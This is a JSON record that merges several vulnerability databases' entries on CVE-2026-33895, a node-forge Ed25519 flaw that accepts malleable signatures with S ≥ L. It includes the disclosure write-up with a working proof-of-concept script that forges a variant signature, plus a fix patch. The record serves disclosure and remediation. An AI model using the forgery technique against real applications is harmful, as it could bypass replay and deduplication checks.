{"id":"CVE-2026-33895","revision":null,"records":[{"revision":"1c6e60e5dae647ed86482279b1513b80","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33895","aliases":[],"title":"Forge has signature forgery in Ed25519 due to missing S > L check","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","state":0,"publishedAt":"2026-03-27T20:47:54.492+00:00","modifiedAt":"2026-09-04T12:04:49.718+00:00","affected":[{"ecosystem":"Vendor product","name":"forge","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"digitalbazaar\",\n                    \"product\": \"forge\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.4.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33895","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33895","identifiers":["CVE-2026-33895"]},"retained":false,"historicalAffected":[]},{"revision":"7ad8f8af41264e7eb41e206049618ea1","observedAt":"2026-11-01T05:16:36.709+00:00","statement":{"source":"euvd","id":"EUVD-2026-16835","aliases":["CVE-2026-33895","GHSA-q67f-28xg-22rw"],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo t…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":null}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16835","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 8:47:54 PM","dateUpdated":"Sep 4, 2026, 12:04:49 PM"},"relatedAdvisories":[{"id":"RHSA-2026:24761","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-4926","CVE-2026-7246","CVE-2026-26996","CVE-2026-27904","CVE-2026-30922","CVE-2026-32280","CVE-2026-32282","CVE-2026-32283","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39363","CVE-2026-39892","CVE-2026-40192"]},{"id":"RHSA-2026:34342","title":"Red Hat Security Advisory: Cluster Observability Operator 1.5.0","vulnerabilityIds":["CVE-2020-7753","CVE-2021-33623","CVE-2024-4068","CVE-2024-45338","CVE-2024-52011","CVE-2025-22868","CVE-2025-22870","CVE-2025-22872","CVE-2025-47911","CVE-2025-58190","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-4800","CVE-2026-4867","CVE-2026-6321","CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-25680","CVE-2026-25681","CVE-2026-29063","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33814","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-39821","CVE-2026-42506","CVE-2026-48779"]},{"id":"RHSA-2026:86618","title":"Red Hat Security Advisory: New container image: rhceph-9.2","vulnerabilityIds":["CVE-2023-46159","CVE-2024-47866","CVE-2024-48916","CVE-2024-55565","CVE-2025-12816","CVE-2025-15599","CVE-2025-26791","CVE-2025-30156","CVE-2025-50181","CVE-2025-50182","CVE-2025-58754","CVE-2025-59343","CVE-2025-62718","CVE-2025-66030","CVE-2025-66035","CVE-2025-66412","CVE-2025-69873","CVE-2026-0540","CVE-2026-21441","CVE-2026-22610","CVE-2026-25639","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-27970","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33672","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39865","CVE-2026-40175","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-50152","CVE-2026-58224"]},{"id":"RHSA-2026:13826","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.","vulnerabilityIds":["CVE-2025-62718","CVE-2025-69534","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-3118","CVE-2026-4800","CVE-2026-4926","CVE-2026-27601","CVE-2026-27904","CVE-2026-29063","CVE-2026-29074","CVE-2026-29186","CVE-2026-32141","CVE-2026-32280","CVE-2026-32282","CVE-2026-33228","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39983","CVE-2026-40175","CVE-2026-40895"]},{"id":"msrc_CVE-2026-33895","title":"Forge has signature forgery in Ed25519 due to missing S > L check","vulnerabilityIds":["CVE-2026-33895"]},{"id":"WID-SEC-W-2026-1407","title":"IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-26013","CVE-2026-27142","CVE-2026-28277","CVE-2026-28684","CVE-2026-32288","CVE-2026-33151","CVE-2026-33349","CVE-2026-33532","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33916","CVE-2026-34601","CVE-2026-35469","CVE-2026-39406","CVE-2026-39407","CVE-2026-39408","CVE-2026-39409","CVE-2026-39410","CVE-2026-39983","CVE-2026-40175","CVE-2026-40347","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-4923","CVE-2026-4926"]},{"id":"RHSA-2026:9742","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.","vulnerabilityIds":["CVE-2025-62718","CVE-2025-69534","CVE-2025-69873","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-3118","CVE-2026-4800","CVE-2026-4926","CVE-2026-25679","CVE-2026-26996","CVE-2026-27601","CVE-2026-27904","CVE-2026-29063","CVE-2026-29074","CVE-2026-29186","CVE-2026-32141","CVE-2026-33036","CVE-2026-33228","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39983","CVE-2026-40175"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16835","identifiers":["EUVD-2026-16835","CVE-2026-33895","GHSA-q67f-28xg-22rw"]},"retained":false,"historicalAffected":[]},{"revision":"b30ba85c62e2455a91b1103d5e35767c","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-33895","aliases":[],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo t…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.","state":0,"publishedAt":"2026-03-27T21:17:26.157+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","https://access.redhat.com/errata/RHSA-2026:13826","https://access.redhat.com/errata/RHSA-2026:24761","https://access.redhat.com/errata/RHSA-2026:34342","https://access.redhat.com/errata/RHSA-2026:9742","https://access.redhat.com/security/cve/CVE-2026-33895","https://bugzilla.redhat.com/show_bug.cgi?id=2452457","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33895.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33895","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-347"],"productCriteria":["cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-27T21:17:26.157","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33895","identifiers":["CVE-2026-33895"]},"retained":false,"historicalAffected":[]},{"revision":"590da8762ad14302b2ea4169b321bc76","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-q67f-28xg-22rw","aliases":["CVE-2026-33895"],"title":"Forge has signature forgery in Ed25519 due to missing S > L check","description":"## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n<details><summary>poc.js</summary>\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error('signature must be a 64-byte Buffer');\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i < 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum & 0xff;\n    carry = sum >> 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error('publicKeyBytes must be 32 bytes');\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult('forge', { ok }, { ok: okTweaked }),\n    ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n</details>\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i < n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S < L.\n+  for(i = 31; i >= 0; --i) {\n+    if(bytes[offset + i] < L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] > L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i >= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","state":0,"publishedAt":"2026-03-26T22:04:41+00:00","modifiedAt":"2026-09-10T03:50:40.4097999+00:00","affected":[{"ecosystem":"npm","name":"node-forge","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","https://nvd.nist.gov/vuln/detail/CVE-2022-35961","https://nvd.nist.gov/vuln/detail/CVE-2026-25793","https://nvd.nist.gov/vuln/detail/CVE-2026-33895","https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","https://github.com/digitalbazaar/forge"],"sourceUrl":"https://github.com/advisories/GHSA-q67f-28xg-22rw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-q67f-28xg-22rw","identifiers":["GHSA-q67f-28xg-22rw","CVE-2026-33895"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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